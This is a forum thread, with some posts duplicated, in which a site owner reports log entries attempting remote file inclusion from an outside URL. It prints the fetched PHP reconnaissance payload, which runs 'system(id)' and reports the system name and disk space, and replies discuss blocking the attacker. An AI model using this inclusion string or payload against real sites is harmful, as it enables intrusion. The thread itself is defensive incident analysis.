While taking a break from some work I was doing, I decide to have a look at the my website log. I do expect to receive the odd 404 errors but this time it was unusually high so i decided to take a closer. It seems to me that some has been attempting to have my website.

 

I seem to have been getting quite a few lines such as this:

 

/article/60-Creating-An-Advanced-CMS-Part-1//include/connect.php=http://www.madolddogs.de//flash/db/id2.txt

 

When I decided to have a look at the id2.txt file, this is what it contained:

 

<?php
function ConvertBytes($number) {
$len = strlen($number);
if($len < 4) {
return sprintf("%d b", $number); }
if($len >= 4 && $len <=6) {
return sprintf("%0.2f Kb", $number/1024); }
if($len >= 7 && $len <=9) {
return sprintf("%0.2f Mb", $number/1024/1024); }
return sprintf("%0.2f Gb", $number/1024/1024/1024); }						  

echo "Osirys<br>";
$un = @php_uname();
$id1 = system(id);
$pwd1 = @getcwd();
$free1= diskfreespace($pwd1);
$free = ConvertBytes(diskfreespace($pwd1));
if (!$free) {$free = 0;}
$all1= disk_total_space($pwd1);
$all = ConvertBytes(disk_total_space($pwd1));
if (!$all) {$all = 0;}
$used = ConvertBytes($all1-$free1);
$os = @PHP_OS;

echo "Osirys was here ..<br>";
echo "uname -a: $un<br>";
echo "os: $os<br>";
echo "id: $id1<br>";
echo "free: $free<br>";
echo "used: $used<br>";
echo "total: $all<br>";
exit;

 

So far, no pages on my website have been afftected or change in anyway... so I would assume that is a failed hacking attempt right!?

While taking a break from some work I was doing, I decide to have a look at the my website log. I do expect to receive the odd 404 errors but this time it was unusually high so i decided to take a closer. It seems to me that some has been attempting to have my website.

 

I seem to have been getting quite a few lines such as this:

 

/article/60-Creating-An-Advanced-CMS-Part-1//include/connect.php=http://www.madolddogs.de//flash/db/id2.txt

 

When I decided to have a look at the id2.txt file, this is what it contained:

 

<?php
function ConvertBytes($number) {
$len = strlen($number);
if($len < 4) {
return sprintf("%d b", $number); }
if($len >= 4 && $len <=6) {
return sprintf("%0.2f Kb", $number/1024); }
if($len >= 7 && $len <=9) {
return sprintf("%0.2f Mb", $number/1024/1024); }
return sprintf("%0.2f Gb", $number/1024/1024/1024); }						  

echo "Osirys<br>";
$un = @php_uname();
$id1 = system(id);
$pwd1 = @getcwd();
$free1= diskfreespace($pwd1);
$free = ConvertBytes(diskfreespace($pwd1));
if (!$free) {$free = 0;}
$all1= disk_total_space($pwd1);
$all = ConvertBytes(disk_total_space($pwd1));
if (!$all) {$all = 0;}
$used = ConvertBytes($all1-$free1);
$os = @PHP_OS;

echo "Osirys was here ..<br>";
echo "uname -a: $un<br>";
echo "os: $os<br>";
echo "id: $id1<br>";
echo "free: $free<br>";
echo "used: $used<br>";
echo "total: $all<br>";
exit;

 

So far, no pages on my website have been afftected or change in anyway... so I would assume that is a failed hacking attempt right!?

 

Definitely a hacking attempt, by the looks of it they're trying to work out how much disk space you have on your sever. Just block his IP and check every often for the same thing.

 

Edit: I'd also assume that madolddogs.de has been compromised too and that it's not the hackers own web-page.

I like the way he's left his mark.

Can't be that bright if he's put his screename on there AND unable to successfully hack, most likely thing is he's probably a script kiddie. By the way, just googling his screen name brings up tons of results.

Definitely a hacking attempt, by the looks of it they're trying to work out how much disk space you have on your sever. Just block his IP and check every often for the same thing.

 

Figured as much, just need to track the ip address...

...By the way, just googling his screen name brings up tons of results.

 

I googled, then I had a look at this site - SecurityReason

 

Interesting to read the code